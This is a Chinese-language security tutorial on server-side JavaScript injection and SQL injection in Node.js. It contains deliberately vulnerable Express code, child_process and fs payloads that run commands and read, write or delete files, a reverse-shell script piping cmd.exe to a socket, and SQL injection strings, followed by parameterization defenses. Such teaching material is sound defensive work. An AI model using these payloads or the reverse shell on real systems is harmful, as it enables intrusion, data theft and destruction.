网安 - 专业的网络安全产业、社区、知识平台

SSJI - Node.js漏洞介绍

VSole2021-11-09 16:16:27

一、SSJI简介

ssji，为服务器端的javascript注入，可分为sql注入和代码注入

运行于服务端的javascript常用的有node.js

node.js 是运行于服务端的javascript

把javascript变为服务器端的脚本语言

二、SSJI代码注入

SSJI代码注入原理

SSJI 代码注入是一个存在于javascript端的代码注入，存在于运行于服务端的js代码注入，当传入的参数可控且没有过滤时，就会产生漏洞,攻击者可以利用js函数执行恶意js代码

SSJI代码注入常用函数

node.js 常用的命令执行函数，由于它是运行于服务端的javascript,因此它使用的函数和javascript的相似

常用函数如下

eval() settimeout() setinterval() function()

首先看下这里的eval函数

eval

函数格式eval(string)

javascript的eval作用就是计算某个字符串，并执行其中的js代码

测试代码

var express = require("express");
var app = express();

app.get('/',function(req,res){
    res.send(eval(req.query.a));
console.log(req.query.a);
})

app.listen(3002);
console.log('Server runing at http://127.0.0.1:3002/');

这里的参数a通过get传参的方式传入运行，我们传入参数会被当作代码去执行

这里传入一个console.log()的查看效果，console.log的作用是在控制台查看回显

看到这里能在控制台回显数据

function()

函数用法

function(string)()

这里的string就是我们传入的参数

这里的function用法类似于php里的create_function

这里用一个简单的测试代码测试下function是否可以执行代码

var express = require("express");
var app = express();

var aaa=Function("console.log('Hello world')")();

var server = app.listen(3088,function(){
    console.log("应用实例，访问地址为 http://127.0.0.1:3088/");
})

实际测试时，当传入参数可控时，可能造成代码执行漏洞

settimeout()

函数格式

settimeout(function,time)

该函数作用是两秒后执行函数

function处为我们可控的参数

测试代码

var express = require("express");
var app = express();

setTimeout(()=>{
  console.log("console.log('Hello world')");
},2000);

var server = app.listen(8888,function(){
    console.log("应用实例，访问地址为 http://127.0.0.1:8888/");
})

两秒后执行

函数测试效果如下

当这里为一个可控的传参时，漏洞就可能触发

setInterval() 函数

函数格式(function,time)

该函数的作用是每个两秒执行一次代码

测试代码

var express = require("express");
var app = express();

setInterval(()=>{
  console.log("console.log('Hello world')");
},2000);


var server = app.listen(8866,function(){
    console.log("应用实例，访问地址为 http://127.0.0.1:8866/");
})

函数测试如下

当这里的function处为可控传参时，漏洞就有可能触发

SSJI代码注入实际运用

在实际情况下遇到该怎么运用呢？

1.利用process模块进行命令执行

process的作用是提供当前node.js进程信息并对其进行控制

这里用的比较多的，是通过child_process,即子进程区域使用，这里它的子进程可以使用更多的服务器资源

child_process下有许多不同的方法,分别为exec,forx,spawn,execfile这些

常用的有exec去执行命令

exec 用子进程执行命令，可以通过回调参数来获得执行结果

格式 exec(命令 参数,回调函数)(实际使用可以不加回调函数)

execfile 不用于执行命令，执行一个可执行文件

实际利用时，在第一个参数位置执行shell命令，类似exec

格式1 execfile(命令,{shell:true}) {shell:true} 为开启命令执行的指令

spawn 用于执行命令，但不需要获取执行结果

格式 spawn(命令,{shell:true}) 和execFile一样，需要开启命令执行的指令

fork 用于执行js文件，实际利用中需要提前写入恶意文件

fork 格式 fork(js文件(包含路径))

exec

 测试命令

exec: require('child_process').exec('calc');

效果如下

execFile

测试命令如下

require('child_process').execFile("calc",{shell:true});

效果如下

弹出了计算器

fork

测试命令如下

require('child_process').fork("./555/hahaha/test92.js");

效果如下

spawn

测试代码

require(‘child_process’).spawn(“calc”,{shell:true});

效果如下

2.写shell

这里也可以写一个反弹shell

var net = require("net"),
sh = require("child_process").exec("cmd.exe");
var client =new net.Socket();
client.connect(3000,"127.0.0.1",function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});

通过child_process 去建立一个连接，同时运行cmd

效果如下

首先开启监听

再运行node.js

通过url去传入代码

效果如下

得到了目标cmd

3.通过调用核心模块fs去读取和写入文件

fs是node.js的文件系统模块，可以通过此模块来读取和写入文件

常用方法

语句作用eaddir(path,callback)读取目录rmdir(path,callback)删除目录readFile(fd,buffer,offset,length,position,callback)读取文件writeFile(file,data[, options],callback)写入文件

这里方法又分为同步方法和异步方法

同步方法执行完并返回结果后才执行代码，异步方法使用回调函数接受返回结果，可以立刻执行代码，这里使用同步方法更加合适，同步方法写法简单，在方法后加上Sync即为同步方法

实际操作的话，需要足够的权限

这里使用同步操作的方法去使用

readdirSync

示例命令：

测试代码

res.end(require('fs').readdirSync('.').toString())

效果如下

writeFileSync

测试代码

res.end(require('fs').writeFileSync('./cvb.txt','123456').toString());

效果如下

虽然报错，但还是成功写入

rmdirSync

测试代码

res.end(require('fs').rmdirSync('./1234').toString());

原有文件夹 1234

执行后

报错

但是文件夹被删除


readFileSync
res.end(require('fs').readFileSync('./write1.txt').toString());

效果如下

三、node.js sql注入

node.js编写的程序里，也可能存在sql注入，node.js作为一个运行于服务端的javascript后端脚本语言，支持的数据库有 sqlserver，mysql，sqlite，oracle等数据库，这里就用mysql举例

原理

和其他语言里存在sql注入漏洞的原因一样，都是没有对用户的输入做限制，当用户可控输入和原本程序要执行代码，拼接用户输入且当作SQL语句去执行

测试

node.js的sql注入和php这些都差不多，都是缺少对特殊字符的验证，用户可控输入和原本执行的代码，拼接用户输入且带入数据库中当作代码执行，这里验证node.js代码如果没有做限制就会存在SQL注入

测试代码

var mysql      = require('mysql');
var express = require("express");
const app = express();


var db = mysql.createConnection({
  host     :'localhost',
  user     :'root',
  password :'root',
  database :'test'
});

db.connect();

app.get('/hello/:id',(req,res)=>{
let sql=`select * from user where id= ${req.params.id}`;
    db.query(sql,(err,result)=>{
if(err){
    console.log(err);
res.send(err)
}else{
    console.log(result);
    res.send(result)
}
})
});

app.listen(3018, () => {

console.log(‘Server runing at http://127.0.0.1:3018/‘);

})

首先访问测试站点

得到id为1时的数据

这里测试和一般的sql注入一样

首先判断下

语句 and 1=1 & and 1=2

看and 1=1的效果

再看下and 1=2的效果

没有输出

联合查询

首先判断字段

还是mysql数据库的，用order by 判断

判断出字段数为3

用联合查询的方式判断显错位

(这里由于测试的代码原因，都会显示到页面上)

测试sql语句

查询库名

查询表名

查询字段

查询数据

不仅是联合查询，其他诸如像盲注这些也可以使用

盲注测试

测试语句

and ascii(substr((select database()),1,1))>1

测试语句

and ascii(substr((select database()),1,1))>1000

报错注入

测试语句

and updatexml(‘1’,concat(‘~’,(select database())),’1’)

如何防止SQL注入

SQL注入这类问题就是因为没有做好过滤和对传参的控制所导致的，那么node.js里如何防止SQL注入问题，主要用到了3个方法

1.escape() 参数编码

node.js里的escape函数用于编码目标字符串，在sql语句拼接输入时，将sql语句编码来起到防止sql注入

测试代码

var mysql      = require('mysql');
var express = require("express");
const app = express();


var db = mysql.createConnection({
  host     :'localhost',
  user     :'root',
  password :'root',
  database :'test'
});

db.connect();

app.get('/hello/:id',(req,res)=>{
req.params.id = escape(req.params.id)
let sql=`select * from user where id= ${req.params.id}`;
    db.query(sql,(err,result)=>{
if(err){
    console.log(err);
}else{
    console.log(result);
    res.send(result)
}
})
});

app.listen(3019,()=>{
console.log('Server runing at http://127.0.0.1:3019/');
})

查询后报错

这里直接将查询语句编码后放入数据库查询报错

2.connection.query() 查询参数占位符

通过查询参数占位符的方法来起到绕过效果，通过占位符来达到防止sql注入的方法

采用？替换查询参数中的变量

var mysql      = require('mysql');
var express = require("express");
const app = express();

var db = mysql.createConnection({
  host     :'localhost',
  user     :'root',
  password :'root',
  database :'test'
});

db.connect();

app.get('/hello/:id',(req,res)=>{
    db.query({
    sql:'select * from user where id = ?',
    values:[req.params.id],
},
function(err,result){
    console.log(result);
    res.send(result)
})
});

app.listen(3020,()=>{
console.log('Server runing at http://127.0.0.1:3020/');
});

后续的查询语句无效，只查询了参数内容

3.mysql.format 转义

mysql.format用于转义参数，该函数会自动选择合适的方法转义参数

var mysql      = require('mysql');
var express = require("express");
const app = express();

var db = mysql.createConnection({
  host     :'localhost',
  user     :'root',
  password :'root',
  database :'test'
});

db.connect();

app.get('/hello/:id',(req,res)=>{
var sql="select * from user where id= ?";
var inserts =[req.params.id];
sql=mysql.format(sql,inserts);
    db.query(sql,(err,result)=>{
if(err){
    console.log(err);
}else{
    console.log(result);
    res.send(result)
}
})
});

app.listen(3021,()=>{
console.log('Server runing at http://127.0.0.1:3021/');
})

只查询了id参数相关内容,后面的sql语句内容无效

参考连接

https://www.mi1k7ea.com/2020/03/29/%E6%B5%85%E6%9E%90Node-js%E5%AE%89%E5%85%A8/#SQL%E6%B3%A8%E5%85%A5

https://labs.secforce.com/posts/server-side-javascript-injection/

sql注入mysql
本作品采用《CC 协议》，转载必须注明作者和本文链接
WAF-Bypass之SQL注入绕过安全狗
2021-12-17 08:16:55
Bypass安全狗MySQL注入
浅谈Sql注入总结笔记整理(超详细)
2023-03-06 15:46:23
id=3'；对应的sql：select * from table where id=3' 这时sql语句出错，程序无法正常从数据库中查询出数据，就会抛出异常； 加and 1=1 ，URL：xxx.xxx.xxx/xxx.php?id=1' order by 3# 没有报错，说明存在3列爆出数据库：?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出数据表：?id=1' and extractvalue--+（爆字段）?
干货 | 2022年最详细的SQL注入总结笔记
2022-12-05 15:39:17
id=1' order by 3# 没有报错，说明存在3列。id=-1' union select 1,group_concat,3 from 数据库名.数据表名--+拓展一些其他函数：system_user() 系统用户名。updatexml函数：细节问题：extractvalue()基本一样，改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上，如：,而extractvalue函数末尾不加1（数值）?
数据库注入提权总结
2022-08-09 16:49:49
select * from test where id=1 and ;布尔盲注常见的布尔盲注场景有两种，一是返回值只有True或False的类型，二是Order by盲注。查询结果正确，则延迟3秒，错误则无延时。笛卡尔积延时大约也是3秒HTTP头注入注入手法和上述相差不多，就是注入点发生了变化HTTP分割注入常见场景,登录处SQL语句如下
Oracle数据库注入方式总结
2022-01-11 06:51:34
Oracle Database，又名Oracle RDBMS，或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是世界上流行的关系数据库管理系统，系统可移植性好、使用方便、功能强，适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。
Oracle数据库注入方式总结
2022-01-10 06:00:50
Oracle数据库的基本知识Oracle数据库介绍Oracle Database，又名Oracle RDBMS，或简称Oracle。
记一次MySQL注入绕过
2021-10-07 17:19:49
SQL注入类型判断某朋友比赛中让帮忙看的一道题目，如下查看源码发现提示?fuzz一下sql注入关键字看看都过滤了哪些字符?直接在class参数插入exp回显正常，插入exp发现返回database error；说明此处sql注入可直接插入执行，其次如果sql语句执行错误会返回报错提示；
sql注入学习笔记
2022-07-27 16:52:58
sql注入学习笔记
Bypass云锁MySQL注入总结
2021-12-14 07:25:37
对于攻击者而言，只需要在POST BODY前面添加许多无用的数据，把攻击的payload放在最后即可绕过WAF检测。实验步骤首先使用BurpSuite抓取数据包，并记下数据包的Header信息编写好我们的Python脚本进行FUZZ：#!
VSole
网络安全专家